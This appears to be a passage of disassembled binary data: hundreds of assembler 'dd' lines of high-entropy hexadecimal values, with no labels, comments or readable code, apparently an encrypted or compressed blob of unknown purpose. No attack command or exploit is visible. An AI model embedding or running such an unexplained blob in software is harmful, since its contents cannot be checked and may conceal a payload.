dd 0EE8D3220h, 0C4A94E2Ah, 0F77EB073h, 81C1D83Ah, 7AB3502h
dd 0B47B15CEh, 82FD4FE6h, 24685C48h, 567AF77h, 8457416Dh
dd 2D0F40EBh, 1B6C57FDh, 2FC773F4h, 9C730134h, 7F09A73Ah
dd 25614FBCh, 295E6849h, 9AF25DAFh, 0A235A6C0h, 155A65h
dd 0EE2F9105h, 4CC1E928h, 0CA4122CEh, 5C83D776h, 0FAD4C580h
dd 68154853h, 0C231473h, 0AEB6AA52h, 7E26106Bh, 833D47B3h
dd 0C057143h, 3CE51EF4h, 1287A5E0h, 0AD1F7CEh, 851B14B2h
dd 0AE1CAB68h, 18A28767h, 82F5794Eh, 2E805779h, 75774E40h
dd 0F71B9009h, 2B2D39D6h, 4F77DE7h, 62684096h, 0D864AC14h
dd 49ECE906h, 0E8179EA3h, 0E5C0F408h, 55167A69h, 6D51C846h
dd 3C5BC1C6h, 3EBC1E51h, 5200E829h, 3C28AE68h, 0A4F0B578h
dd 355060Eh, 7CC2C035h, 0D6702F07h, 6358AA18h, 4872A218h
dd 0D101281Ch, 5953515Ah, 0F6B82F5Bh, 0BA010869h, 80860BE9h
dd 0F5814D92h, 4D922782h, 135B6952h, 0B031BCB0h, 0B54430E9h
dd 0E2B91B48h, 64FA0CD2h, 7A53AE0Eh, 7C85BDE9h, 858FAED4h
dd 27AEA35Ah, 2FAF4CF9h, 87FC29C7h, 122B2E51h, 30452D08h
dd 0F01802Fh, 0DBF72784h, 49D6C5E9h, 535D040Ah, 2C7A8B7Bh
dd 99A097CDh, 60E7BADAh, 1B6CC224h, 0A7348C1Fh, 9E64D0F9h
dd 7387ED8Bh, 0DCB363D3h, 99164EE7h, 0F7F3D8D9h, 9C28606Dh
dd 2A1E812Eh, 27FC3201h, 55D3A55Eh, 0CA4F1DF8h, 48BF12C4h
dd 54DD134Bh, 0F6156222h, 0A424E77Fh, 0FF290CF2h, 0E0953002h
dd 0B5FCB8E7h, 80A4E1D3h, 900D1238h, 55C34D0Bh, 0DC971CBCh
dd 0E16A62B7h, 5080195Ch, 68350CB8h, 44F1FB1Eh, 0BC34B392h
dd 0C55ECF1Dh, 9520E3DAh, 2C4EF1C3h, 18FD47E4h, 6C68BB3Ah
dd 81171C49h, 35B4F90h, 553D9342h, 2D25C566h, 4185E533h
dd 0A338B1E9h, 0DE2DCF92h, 4798BFB6h, 0B6BA1E4Ah, 1A5B5512h
dd 2B9342Ch, 4BE4175Dh, 0B255CA31h, 0E984C016h, 18E5D5Eh
dd 0BEE21F9Bh, 0F7B9BD68h, 9CA5A14h, 82827583h, 84852C4Fh
dd 0E51307A7h, 0A7246BD7h, 0E27612EAh, 8791D65Ch, 0C86E8D97h
dd 64E689Ch, 69E12AE4h, 135FED5Dh, 2356DFB3h, 122CB092h
dd 4971776h, 0AA749DF5h, 65DDADE3h, 0CCAEB47Dh, 0FAFFAB54h
dd 0A906476Eh, 0E9DED0DAh, 3C1A5B30h, 16C8FF48h, 89586400h
dd 0E9C1017Ah, 0E565F834h, 0EBCFBBFCh, 482936ABh, 9F2D147Fh
dd 0DA4E71E2h, 299BCD2Eh, 0FE530142h, 0D8892F90h, 30C727DDh
dd 8883F514h, 8316ED8Eh, 0BF3AB7FCh, 7F439F75h, 0E259131Fh
dd 30B152A7h, 5A48E509h, 3E1EEF05h, 4ACD7042h, 0E038166Dh
dd 4537680Bh, 0FA5E93B0h, 0BB0F9BCh, 5E2866B5h, 0B16E7EBh
dd 0EC0102A5h, 4F38F67Ah, 940DB352h, 0E6C512F1h, 2DA1F7E4h
dd 86584961h, 0E9092043h, 7E142E7Fh, 0ACC38012h, 0D0590A97h
dd 0CE993450h, 2FF3BB1Eh, 99F15D25h, 5404D5E5h, 1CFC5BE3h
dd 22207ECDh, 44039D88h, 0A72CE828h, 59665AA0h, 80B63852h
dd 0D049C694h, 0DDE9AC06h, 0B73F30F7h, 25EF00A8h, 685BFE08h
dd 0C263E7FBh, 30F9B403h, 47E958E6h, 0B5BD4C4Dh, 0EE289212h
dd 6805BBB4h, 465F9033h, 5A71DE54h, 0F1E1684Eh, 0D25AE92Bh
dd 0E0B382BBh, 7B5F2D49h, 0B24F10A2h, 12E0C674h, 0E1C12668h
dd 50F3080Ah, 5C333828h, 0E1540CAEh, 660035D2h, 529AF650h
dd 5E721D59h, 0B3077BF6h, 82D93058h, 2654205Bh, 0E8A89D42h
dd 276989F9h, 0AD78648Eh, 8C600782h, 13F45D41h, 56F4409Dh
dd 0EC4D4B2Fh, 0CB061BECh, 0EAC74A8Dh, 0DC21E06h, 453020CBh
dd 5C02AD90h, 21392E7Ch, 0B2E6FFD9h, 9E93E91Ah, 0A9EC5730h
dd 4EA1A220h, 0D4B18042h, 5051C44h, 434C5D90h, 9AD84FFh
dd 0DA4C5A07h, 0BC7EBF21h, 0B8590F13h, 0FC95C44Ah, 17F4B3ABh
dd 0DDC1F8ABh, 0A3E301EEh, 18BC491Dh, 63C9688Eh, 3289FBF1h
dd 0BFFC44B9h, 648F05E0h, 31016A0Eh, 24E94ECDh, 0F4AB7C03h
dd 4A16EF13h, 41FA712Bh, 9086E45h, 4614964h, 310C02BDh
dd 54FC5BDFh, 48A0A6C4h, 7D2277B1h, 28ACCBB0h, 262FDFF0h
dd 52EDB58h, 5513B368h, 464AC75Dh, 0FFD4E9B1h, 32509089h
dd 6BE513F3h, 58C649F8h, 35056A01h, 183B27F8h, 0B86800FFh
dd 2AAF4032h, 4FC1315Eh, 3A84842Eh, 0B91DE468h, 9EF785CCh
dd 2408B988h, 1E149F28h, 85139EBh, 0C3E9F186h, 0DFFC2DD0h
dd 58E5751Eh, 848025D3h, 955AD328h, 0B050A660h, 260C7C60h
dd 0A8FF76E9h, 263BB769h, 1F14B450h, 0CC8379C4h, 66DCF6A1h
dd 4599275h, 10F99512h, 0FE4A37B9h, 60B6D328h, 0A6B90A4Ah
dd 67B0FD1Dh, 1BD0D152h, 262BB19Fh, 7415B62h, 0E2E728C0h
dd 0A05FB36Ch, 7E46E2E1h, 22B80441h, 84BE81B9h, 0ED7980AEh
dd 0A3306CABh, 125C0C2Ah, 0EF144EF2h, 4111175Bh, 920140Ch
dd 0ACC29C29h, 3C970575h, 0DDCDAF01h, 7057CD48h, 28F3804Dh
dd 0D1503639h, 371DDCC7h, 78099327h, 3CEE5D72h, 0A74EB14Ch
dd 41CE0C7Bh, 0BA586892h, 5B51755Bh, 66DFAD59h, 0E3E6500Ch
dd 0B76B98D0h, 30003D1h, 3D7A2C05h, 8179A3h, 2B5C7101h
dd 4565BE56h, 63BF8677h
dd 721E0750h, 6126CA4Bh, 0A65ABCE9h, 1C34FBAEh, 91C081Ah
dd 3A6D0614h, 97C101E1h, 5D2C6222h, 2807F701h, 6C9B28CBh
dd 1F42069Fh, 3AE195E2h, 47626053h, 0B12FB841h, 30E22ACAh
dd 7461A04Fh, 52C15F1Fh, 58BCFB12h, 0C44CB2A4h, 98FF779Ch
dd 0AFE9DC84h, 34466612h, 0EA0ADAE6h, 0D0EF8884h, 46380A47h
dd 0A20C2160h, 0B56A451Ah, 68A09B6Bh, 44951219h, 2E4E24FCh
dd 40ED9E01h, 57685052h, 5D48286Eh, 3D0A109Ch, 113A0C62h
dd 0E5BB5B04h, 0A49C30AAh, 0B50580h, 2D541C47h, 39333BE3h
dd 0E09D0890h, 2668ACE6h, 0C2AA1EA4h, 32FDF99Ah, 0A6627D1Ch
dd 0C6259CB8h, 10E5D983h, 7C468FDCh, 5C542857h, 0BFB67B4Dh
dd 76A7D3F1h, 0F5D84291h, 54BFC320h, 0AA5D517Ah, 0BE52B6Bh
dd 31300E68h, 0CB0802D1h, 80415B80h, 35BEFC1h, 0E68151F0h
dd 54701AC5h, 8D41233h, 5874D403h, 0AB0C0922h, 0CE006CF4h
dd 73B3E9F8h, 71EC7C9Ah, 7336E697h, 726925E3h, 0FCA7D5F1h
dd 3D6259ECh, 74C515A0h, 0BB4A84B1h, 0D9006214h, 507EFE40h
dd 0C01BFB8h, 79354D8Dh, 0E9C8FB61h, 0DDAB6985h, 58EFC823h
dd 34F91130h, 90941284h, 158E2077h, 75DF2126h, 98AB5392h
dd 0A820E930h, 68550C3Dh, 9E173366h, 0B07A8441h, 0C7A4990h
dd 0D4A42A5Eh, 0B12460A4h, 8F5276EAh, 2F11048h, 50B53149h
dd 583CD409h, 0D89DD2F7h, 808D76DCh, 8105018Fh, 8322B031h
dd 2945D504h, 88525001h, 5796E4FEh, 0BC08519Fh, 0EF81F160h
dd 0AB0B378Dh, 0D1F9293Eh, 0BDB020FFh, 457FFE42h, 165F49B6h
dd 4DC8BFACh, 98BDF48Eh, 5E6CEC3h, 6847126Fh, 681EB5B8h
dd 0B40A582h, 71C05D56h, 0E874B8h, 642D7FB6h, 294ED511h
dd 705F028h, 354AE380h, 0B940F79Eh, 0B8B62515h, 0C7A45C60h
dd 0C750899Dh, 0C62A1D6h, 8338771Dh, 0AFB09D61h, 8A29174Fh
dd 0CD5E436Bh, 5DE1DF23h, 3D6DD881h, 0C54CF827h, 30E02844h
dd 809A0F35h, 281C62F2h, 0F8D45AD0h, 0EF863CE4h, 4546C167h
dd 0C3300FA5h, 5916C4CCh, 95FB815Ah, 0A15F2C14h, 6DAD123Ah
dd 32A76602h, 56234F2h, 113C47Ah, 7E59EF68h, 0E9C2F7F2h
dd 0CCFF9364h, 5A9E4062h, 2E744BDh, 0C67C78F5h, 0B2572108h
dd 54925A46h, 3168A49Bh, 5C5B18F5h, 0C40468F8h, 0EE177480h
dd 0F37F6E44h, 68092815h, 0E7555FB4h, 6166ADFFh, 0A1685309h
dd 2359B00Ch, 15CA275Eh, 13F442D2h, 7A1E5327h, 7B790212h
dd 4C0172BAh, 25E1A7Dh, 8368510Ch, 3A29591Ah, 0A2CD0826h
dd 2375297Eh, 0F9C80C67h, 0E4A05FBEh, 55996838h, 80723A4h
dd 0D77EEA6Ah, 819749C3h, 9F541A3Bh, 2A0F9FEEh, 0ECEADD1Ch
dd 3168F264h, 99FA42D4h, 6146A4DBh, 0A84A7C11h, 1D1A15A4h
dd 68B880F7h, 2813A0Bh, 5D4987C2h, 0EB7D4A1Ah, 102A88C1h
dd 0E4E9196Eh, 41B37621h, 4FB2BD0h, 6A178D01h, 0E2633BD1h
dd 0D70E84h, 596ADEBFh, 0C781001Dh, 0E474FB73h, 614930E9h
dd 6971140Eh, 7C0804Ch, 64216E84h, 122FF4D3h, 0DAEBC4C4h
dd 40F49A6h, 181E106Fh, 256BAFC3h, 5D6310Dh, 0F9427C82h
dd 6EFB5576h, 514FA24h, 165E2F0Fh, 0B93352D3h, 81F9F44Eh
dd 0CBDFF100h, 3BE9FBFEh, 5398B791h, 1E7B4F02h, 8292369Eh
dd 0C9EECC93h, 0B0FFA527h, 255FAFC6h, 7EDC2F18h, 1CD008A0h
dd 84AC4B14h, 6805C85Bh, 791FD82Dh, 17D04F7Fh, 86ECF107h
dd 0BF4E3D3h, 21B06852h, 25FAE933h, 806E0E35h, 46A7CF40h
dd 0C70C430h, 98F272FCh, 42C82822h, 0DBF625C2h, 0F41E16F6h
dd 0D114A7FEh, 0E10EAD19h, 0CB178B0Fh, 193264DFh, 4D85A3AAh
dd 0DCD8CA64h, 0B0E98B38h, 7F7D01D6h, 0C9EF160Ch, 0D2333CDDh
dd 0E95FDF46h, 0A02E89E7h, 66CA8180h, 2AB8256Dh, 0DD034850h
dd 87E9B1CCh, 0ED23057Eh, 87AC08B0h, 0D106A402h, 3D1BCBC8h
dd 3868908h, 0C9D0F605h, 0F06A5351h, 5B26FDF4h, 21E188Ah
dd 7595EA6Dh, 4C056A06h, 0D0345391h, 69711BF1h, 8D4ED74Bh
dd 5B0020AEh, 9A125439h, 0FA8DD01h, 4508908h, 0FA126B9Eh
dd 3018669Ah, 8EC14F20h, 4B1287F8h, 4DC6D1F7h, 0DFCA2046h
dd 0FAC4C49Dh, 14426568h, 84A6855Ch, 0DCA0E1C9h, 0BF0757F3h
dd 674E3CD9h, 50C44FD3h, 41A1D31Bh, 85A17B22h, 522DEE0Bh
dd 113A6232h, 7F69E07Eh, 0D1095E2Bh, 8911222h, 7B2D7845h
dd 48840DFAh, 40612522h, 0FA9A3F1Eh, 0F231A201h, 124FEE9h
dd 0DEE8BC2Bh, 5DCF89C9h, 99688090h, 0E7996C76h, 8A8C0797h
dd 0CC432FC6h, 9F10FD56h, 5E204D50h, 7B8FF76Eh, 0D4306A2Fh
dd 0A0B154EAh, 78C55749h, 8A497549h, 57DA74C3h, 7B695677h
dd 12E8003Bh, 243C5E1Fh, 207FFA01h, 5A8C8008h, 0B710F07Bh
dd 70516741h, 441AF0Ah, 137ABFD5h, 4E2BABF1h, 1CF8B5Eh
dd 1F0D5E96h, 4578DD87h, 0E9450A74h, 4014D1F3h, 78067BEAh
dd 5D600175h, 375057B4h, 60DAF34Bh, 3F631904h, 0C12F0DD2h
dd 4993A4D9h, 0E3040556h, 0B80080B4h, 4CC54EF8h, 588D9295h
dd 0DA681351h, 0B7A8CC76h, 0FE88B207h, 0B373665Bh, 0B7D883A2h
dd 0A560483h, 0ABB05014h, 0EE7935E2h, 0A4105A84h, 0D8D85044h
dd 74715602h, 0DC17A9E9h, 2240589Eh, 0F909292h, 0AE5D083Ah
dd 34C13474h, 0B689D40Bh, 4C57CA3Bh, 84234AB9h, 21C5AF71h
dd 5902DBABh, 0B0221310h, 68F1A542h, 4AD752D6h, 3A7DAB0Ch
dd 0E9EC5FCEh, 80CCE927h, 0F7EF31BCh, 0D982B5D5h, 0CA488219h
dd 4CBD1E5Dh, 55A7F410h, 652D6339h, 5FA2B78Bh, 0DB44C721h
dd 8FE69935h, 0C11CA9E8h, 6605EF4Ah, 0F0F705F1h, 8F8DBF98h
dd 0A150283Fh, 0BE03E292h, 44B2BC5h, 0F84ADA4Eh, 9C97A4C3h
dd 866861C6h, 17ED2341h, 331264E9h, 5FD81DC8h, 198F4080h
dd 1796D18h, 8DF7F4F9h, 3BC70082h, 0B00FC72Dh, 0CC749F79h
dd 0BACFE9F0h, 0BC5E5B74h, 12EBA4AEh, 0FFE30EF3h, 477E5A2Bh
dd 0F0303F07h, 0B2CE1D6Fh, 0C3D0EF90h, 158C708h, 0DAF64312h
dd 79955FE9h, 41C93E79h, 48E1F624h, 0AD05FA02h, 0C379464Ah
dd 2026AFA8h, 0C90D38FEh, 0F8C14E88h, 4F288120h, 9A28EAF0h
dd 50D8FA75h, 0BC08C85Bh, 1AF30152h, 619ADA85h, 48FDFA53h
dd 0D2234680h, 4FE4FD22h, 0E9C2D7F9h, 88030777h, 0B984DFEFh
dd 0B7E3D3B4h, 0CD2AB303h, 0C39D227Fh, 58AECA1Fh, 805B0E8Ah
dd 0EC6318C4h, 59BC017h, 34BC44F9h, 54388804h, 0FCBDCA19h
dd 72A4CB01h, 0DF433662h, 2AB165D3h, 0F2676063h, 5D5A2618h
dd 2702CD18h, 0EB723F6Fh, 6DE90880h, 5A260BB6h, 0D5FF6859h
dd 0A7D1EF44h, 5B31FC13h, 18A9D3E4h, 6208052Dh, 0E34C78F9h
dd 27A42DDCh, 7DE1CAB7h, 803B628Ch, 0F8AC557Bh, 0BF017720h
dd 2A5C5481h, 1DE9C8F2h, 3591FD4Bh, 462FC9A6h, 3FFC52Eh
dd 84AA7497h, 35FD19C7h, 14C69DD8h, 0E6465558h, 0B850D60Bh
dd 1033A480h, 3F70EAE9h, 0DFB1E0A6h, 9C6CF08h, 0A730DFF6h
dd 0C1FFD8B6h, 45017503h, 68CEEA52h, 20C50849h, 56F24B45h
dd 98D124C3h, 88E38ECFh, 58C245D8h, 29D104BAh, 1058F393h
dd 0C14C4DABh, 4FE7B510h, 5ED1ACA0h, 2FEFF4EFh, 0FE0A490Eh
dd 38BA5609h, 145EE2Eh, 4C0D0940h, 791458D4h, 73725407h
dd 0C9CF6030h, 1B0F6B40h, 9BF9E94Fh, 993B031h, 604BA201h
dd 9963A649h, 0B2DDA558h, 623F4840h, 0A14FB00Ah, 5FE4DD8h
dd 0BECEBE53h, 0E604EE4Ah, 95CD5209h, 0BBEF930h, 3345B29h
dd 6397A075h, 0A0623D45h
dd 302090F0h, 1A0C2C82h, 0A44B3FF3h, 0F91220A9h, 1CE2201Bh
dd 0D7B0AA8h, 162B8E30h, 0B42C9BFh, 0F88979EDh, 3528B3E6h
dd 0C1E2DBECh, 2951FB0h, 9713F61h, 3C64207Ch, 7A60E971h
dd 0F3EF69C4h, 0EB8810F3h, 1BC65D2Eh, 0F95C8020h, 0C28A4AE8h
dd 265CE90Dh, 74614728h, 2F2AC7Ah, 3E4D49BEh, 1573825Dh
dd 343AFF45h, 13144C0h, 39B9095h, 57C2E143h, 8D908C14h
dd 62B27AD3h, 0AABCAEDBh, 9E48B9E7h, 143268B0h, 0E54F8E27h
dd 3C092FAAh, 93028EDEh, 817C70A1h, 0EE4C71ECh, 29AA917Eh
dd 86AC2FD8h, 0D1B4ADC4h, 3808A840h, 5387C080h, 0A82113FCh
dd 823A2082h, 4B3D06F5h, 287A09C4h, 0DBAB1D49h, 0A582BADFh
dd 78F4D6C4h, 6E7C0BEFh, 2E4AECBFh, 0C28BD957h, 947FE7CCh
dd 0CBC33A6h, 9BB9DE0Dh, 42A73FF4h, 13A6708h, 3409D221h
dd 899054B6h, 30D71E53h, 0A2C52959h, 4B2053CCh, 514432A0h
dd 0E92C1506h, 318E1F7Fh, 95F04BC6h, 28341387h, 1FA1D57h
dd 0E84759BDh, 897627CCh, 72ED57FAh, 62CE906h, 3C07EC5Fh
dd 58BE123Fh, 28012E2Dh, 4D2A6068h, 779DE0F5h, 0AA748628h
dd 5330B04Bh, 16E7EDCh, 0E7814738h, 30C907D8h, 0EA01EF69h
dd 87504B4Ch, 0D6C94EF7h, 5BA30AA8h, 66130B99h, 579B07F5h
dd 948BF51h, 247A61E6h, 0BB070B2Ch, 0CBD734AEh, 0E31C57D4h
dd 71631005h, 624DB580h, 4B0D2492h, 0CF762D6Dh, 8C3D3512h
dd 7B4CD92Fh, 35E9B431h, 7DA123Eh, 0E0B91EEh, 0AA8A1713h
dd 2DE9F938h, 1371F7C3h, 0BE5E688h, 1784ECD0h, 10820D11h
dd 0CEBFA5FCh, 0CB3D031Eh, 0CB528374h, 4C7DC60Bh, 2006201Eh
dd 2C475015h, 1740FE01h, 0EF6B531Ah, 0B341F98Dh, 5300284Ch
dd 0D095D2B7h, 0E8807352h, 5BF90530h, 0BBF65166h, 0A159910Fh
dd 0CE0873E9h, 0BC1DC1D0h, 7FBA82F9h, 0A97078AFh, 0B402165Ah
dd 61D1865Bh, 0F9E694B4h, 8183CF3h, 60C53DB5h, 648D2B16h
dd 314821AFh, 8947F453h, 0AAE9EB09h, 0C88027C5h, 7E9D3872h
dd 0B85BF14h, 0C2639E24h, 324C7267h, 0E12CB90Ch, 0FFA5E421h
dd 524BB000h, 0CFC68828h, 0E5031625h, 0B024ADE2h, 7E178240h
dd 6498B0DAh, 34EDBD4Fh, 2786E292h, 4ADA51h, 0A841A9Eh
dd 598EF281h, 0E96C7704h, 539565AFh, 1C405047h, 0CCFE8963h
dd 62D881BBh, 46088F13h, 0A01FB32Fh, 0E90E2D58h, 3E8C626Ch
dd 2C61CBFEh, 35046528h, 0A5A26FCAh, 1C08E9C9h, 1D3A495h
dd 0BE2C21CBh, 7B043F6Eh, 29052E0Dh, 0D1E584F5h, 6F8268ABh
dd 6493D5B6h, 0A0A98417h, 0C23A818Ah, 483C98CBh, 45525F4h
dd 5EE961CEh, 0D7310751h, 0C95FA27h, 0C702D8B9h, 2C623396h
dd 514F7AE0h, 7A2BB901h, 0E8E907F0h, 135F1128h, 0C3CAEF4Fh
dd 0E761FB92h, 6800EA6Bh, 0CE9F3E78h, 59BB10Ch, 0B1EFE95Bh
dd 2F91287Eh, 0BE905CDAh, 1F76EB82h, 0F1EA515Dh, 942DE17Eh
dd 0E0D14A18h, 0AD1BCE00h, 0D0DCD0F5h, 956EF34Ch, 88278FAh
dd 0FF69047Ch, 0E91A0F44h, 0D7A97CD3h, 0E3BF9496h, 0EC965AA7h
dd 8B82B525h, 0CAE5D55Ch, 0FBBEBB09h, 17689777h, 0D029EC95h
dd 26014A0Dh, 47DA7F8Eh, 3E580C80h, 0EB017B67h, 8816D90h
dd 0F8D47A29h, 4BE41716h, 82AB850h, 10A75E9h, 3B49E500h
dd 4B6836A0h, 0EDF37Fh, 0AC08D2B8h, 50C14056h, 40A9FCE0h
dd 0B6005275h, 18EE8034h, 3A5AF028h, 0F0CF112Ch, 2760CEF8h
dd 0F4B3A61Ch, 5AF30330h, 6F6D6866h, 0B0125FA6h, 160280A1h
dd 0F4A50BE9h, 2D458233h, 2F77CF8h, 576AF0B1h, 85FFDA27h
dd 0F875E5DEh, 0BE4E4230h, 0F950EAD3h, 0E27E6D02h, 0C77A7C0Bh
dd 807F6058h, 620970CAh, 12839065h, 1C212C3Dh, 22295A46h
dd 59F4CC40h, 954FB82Eh, 4D4AC102h, 126DC27h, 0E716B9E6h
dd 0F30C8E1Dh, 1AEB241h, 0A87ADB1Fh, 4ACB2827h, 1675F25Ch
dd 0B9D4C5ABh, 25BFA038h, 41A41230h, 0ECD0BF4Fh, 832A7ABAh
dd 0D7EAA35h, 0AC2EB6E1h, 12BF9618h, 412FA374h, 2341C2C1h
dd 18C57963h, 8152E83h, 0B29E9548h, 5215148h, 2AD246A4h
dd 8FD641EEh, 383B7C56h, 533E0C27h, 76DF184Ch, 0B8EE5BFFh
dd 0EB5A127Dh, 5B6DCAABh, 0BFD376E2h, 490182D5h, 0D4623F7h
dd 839CAC60h, 6055D5CAh, 1FD66D68h, 0E5218F0Ch, 56EF1855h
dd 2407768h, 4E5E5963h, 54E8B9E9h, 30E5F188h, 92EB97C2h
dd 0D60E3294h, 98EF7330h, 2BFD539Dh, 0D925FC9Dh, 555806Fh
dd 7FE10111h, 14D4D3B6h, 0AC29A404h, 4AAFAC23h, 0D2BABD87h
dd 17DD562h, 0E04CF280h, 79D273CDh, 0ED4600AEh, 31DD2D78h
dd 0B9F5012Ch, 5E4F0820h, 2591C191h, 0EE0E58BEh, 29473FE8h
dd 0AE14C2C1h, 5D92AFD4h, 0D1AD981Eh, 30638146h, 0D855275Bh
dd 692C6544h, 0E989E46Bh, 0C08DE2FBh, 82DE1A00h, 8B1CCC61h
dd 0D6F2C5B9h, 343E8933h, 57BEFC8h, 8974AA25h, 0EF876004h
dd 0F1B1055Dh, 0A162E9BBh, 69812335h, 14BD06Ch, 9F5380BAh
dd 66D63168h, 0D06C5188h, 2628BC63h, 2BF8AC55h, 896FCD09h
dd 5A89D4F5h, 0CFEA4DC0h, 0F829C724h, 0E305F080h, 9D379D15h
dd 3127E8E6h, 27BFC4C3h, 67B638Ah, 0F935E984h, 1FE4095h
dd 0A505FF02h, 343A313Eh, 88395049h, 58E10EF4h, 66C8045Ah
dd 1002298Ch, 14474A68h, 0C4AEAEE9h, 0B101DA93h, 3ACF882Dh
dd 50879234h, 9D541E8Ch, 933E33DBh, 4DE931B3h, 6CBB53C0h
dd 184F365Eh, 0F0FC0AABh, 120B2097h, 0A2BA73E9h, 444A7896h
dd 13682F02h, 7E1EE66Ch, 13115B56h, 69A4DDC4h, 0D50973FCh
dd 0DCFBD6E9h, 12C25AF9h, 974214F5h, 0AC8E645h, 0EF96841h
dd 0E5715F6Eh, 0F85AC011h, 33A428D1h, 0A908E92Ah, 0CCB1B907h
dd 0CFE5BFBCh, 274B487h, 8E5A0407h, 0C353D804h, 0A2859893h
dd 0E480CFB3h, 53A9303Ch, 0B8AAEC4Bh, 6741B566h, 1ACD7FE8h
dd 2CA92FC2h, 0AAF14D68h, 4F431106h, 25A2CE29h, 0B04EF0FDh
dd 2EE8E84Eh, 5388A5C5h, 0F26C0957h, 6D5DC5C2h, 0ACE89382h
dd 594A525Fh, 0A22BA9CDh, 565F132Ah, 4F586061h, 6710907Dh
dd 0C5311F16h, 1071247h, 81E2540Bh, 0B21F8EF7h, 58C07F09h
dd 0A1C357E9h, 2DC85D3Eh, 0DE2930C8h, 7016C69Ah, 0EA2EAF2Fh
dd 570805DEh, 473ADB06h, 885801D3h, 0E4805BFCh, 0F60784Ch
dd 0D3F430DDh, 0FD012234h, 0E2CEE9E6h, 1004CE32h, 0BB2BC923h
dd 0F058DF4h, 0E941544Ah, 0EE77617Ah, 0BB53216Dh, 8ADA010Ch
dd 0E84E83B6h, 0B10512F8h, 0C715C025h, 0F6F09B8Ch, 0F3D4E912h
dd 2DA34C41h, 6ACC6795h, 6EED0C5Eh, 425AC829h, 7F047527h
dd 6BDAD58Eh, 2B9DDE40h, 0BF1996BDh, 5EF5BA30h, 0E962489Eh
dd 5E6E80Ch, 7AA49886h, 917D4912h, 1EDF414Fh, 2A63A8C0h
dd 5FE9E1A0h, 518003Fh, 5F2127F9h, 0E8642BDh, 6B1A007h
dd 5A5E40AFh, 7A78B053h, 0C5451526h, 7257E670h, 46013714h
dd 1510736Eh, 5DF389B9h, 0AB093F18h, 96249850h, 15E08293h
dd 0E273CB80h, 7E90ADECh, 7AF2B541h, 0C3DE9DE2h, 0DE595FDAh
dd 0A09C7D69h, 2F4E687Eh, 0E9553220h, 0A98B5C02h, 0C8B70FC3h
dd 6F1968E0h, 0D9208892h, 0B35306E8h, 0B2D3F605h, 0C30BA873h
dd 0A1EBE916h, 34CC681Ch, 0DF542F52h, 7407CEB9h, 4C9547DFh
dd 0E77E2042h, 0FEEA9390h, 44BA2717h, 0A9CA67E1h, 396F4DDh
dd 0C79097Ah, 664D5B7Fh, 27BE023Dh, 4037146Fh, 0F1EB5ACh
dd 0C4E908B0h, 0D68DF853h, 0E7F227BEh, 0EE2B69C0h, 7A2D3850h
dd 9596610h, 3E5C4B08h
dd 7003A958h, 29678F6Fh, 0A44F1EAh, 0ACE97550h, 0BC5EB159h
dd 0BE0BF82Fh, 520411D6h, 85AAEA89h, 817D094Bh, 0D4B955C1h
dd 6F31736Bh, 6AE58251h, 6F62C93Eh, 0ED2EE5F1h, 31E9125Ah
dd 9A0D6880h, 29C4004Ch, 6316992Dh, 0B60E051Fh, 0A1361161h
dd 72A7099Fh, 8E98F06Eh, 0C06E0B62h, 3B84E0E2h, 6AF9BFB9h
dd 5DBD78E2h, 94242867h, 34685102h, 5985FE61h, 2A083057h
dd 6FC11FABh, 0B1272BECh, 6FE10385h, 55C9846Ch, 6C543080h
dd 0BD7720EDh, 0B90B0BD2h, 2E037658h, 4B5CA7A6h, 1564866Fh
dd 0BAD8A3D8h, 0BDADE6Bh, 0EFF665Fh, 0C6918E4Fh, 0F60BD0F7h
dd 7F057FE1h, 0F081FCD1h, 58877E12h, 3F7C5589h, 5EA5F301h
dd 3D5022F6h, 7C272442h, 0BD803841h, 0FD0183D8h, 8955D3E9h
dd 0BAA13A87h, 20C72D2Eh, 989D734Fh, 45AECBh, 0D1090AD5h
dd 0E983415Ah, 35E8015Ah, 4CA50807h, 92DF9245h, 0A4072B5Ah
dd 293D7312h, 8A81F6Fh, 76E0585Eh, 0F66AE102h, 20E8D770h
dd 88501384h, 0A609F7A8h, 0D129532h, 0C04004B6h, 76AD49EFh
dd 1687EA3Ch, 82C8409h, 0DD2566E4h, 9777F3ABh, 2C502566h
dd 50C83113h, 82F7E44Bh, 0E7D32B2h, 0FEDF92BEh, 0B7388728h
dd 83B0BB46h, 0C10D1B25h, 87DDCE7Ah, 0F717D728h, 0BDFB83D3h
dd 0BC3444AFh, 38012722h, 2F69B03Dh, 89C2035Ch, 1642CB62h
dd 2E0C0B0Ch, 20A87516h, 0CC4BA7CFh, 0EA0105BDh, 0E909F164h
dd 0CD6C0FB3h, 734ABBE0h, 17FF53Fh, 353246CBh, 60C6432Dh
dd 8680D0BEh, 8BE65069h, 0EBD5222Fh, 1C4BD596h, 0D3AFD4AFh
dd 71F758D5h, 0ECCA282Ch, 0E494A76Eh, 7885A7BDh, 0D15A4B5Dh
dd 9E3DF2B4h, 0E2494BC6h, 8E668005h, 9DA8CA9Dh, 95257C2h
dd 0BBB76934h, 3F82BAC4h, 0D3C7E008h, 73BD80E3h, 4ED42E24h
dd 8FD05108h, 0A42F23E1h, 104941C6h, 993D4416h, 22C13601h
dd 31E4650Ah, 0F02CB8CBh, 37969F01h, 8B093998h, 127E5B59h
dd 0B502F0C0h, 0AE4F8F73h, 0BE45A2CDh, 6C457F6Ch, 0FF5D9D80h
dd 5B1DE97Eh, 5B3BF2FBh, 802779E9h, 2B083565h, 0F188032Fh
dd 82A4D1F6h, 47D87F36h, 1B3CF0BCh, 0FA3142A6h, 0B72375DDh
dd 26A792C2h, 2136EC29h, 1E0E61B8h, 0CB43ED39h, 3A5FA99Fh
dd 64205192h, 447A29EDh, 0C5D4888Fh, 0ED392D00h, 7753F2D6h
dd 6347E14Bh, 8B7DC36Fh, 0CA7DABFDh, 0BC1B50Ch, 5ACA1A14h
dd 0F7A64C60h, 5C9D61BAh, 14F9A751h, 0FBA85AB8h, 692168B0h
dd 177EC695h, 441F73E9h, 0F96DBD1Fh, 0E958C24Ch, 817B5415h
dd 0B15166F8h, 3AE1ED5Ah, 0C8FA14C4h, 0AA5A680Eh, 0EEE9E830h
dd 0CF1B3D4h, 6835BC23h, 1733D324h, 10B2E5C7h, 53EDC0Bh
dd 0C856F14Ch, 2362C115h, 0F11D74A5h, 98DB8D2h, 3C6C15D8h
dd 0DC5E2F0Ah, 7F38480h, 1880FB69h, 60CC173Eh, 0F902184Dh
dd 0DC95F6B7h, 5932AE53h, 84392BC6h, 0AE926625h, 0EFB806A6h
dd 42950DE3h, 0BFCCD817h, 33428EDBh, 8DC21BF6h, 0C37E7158h
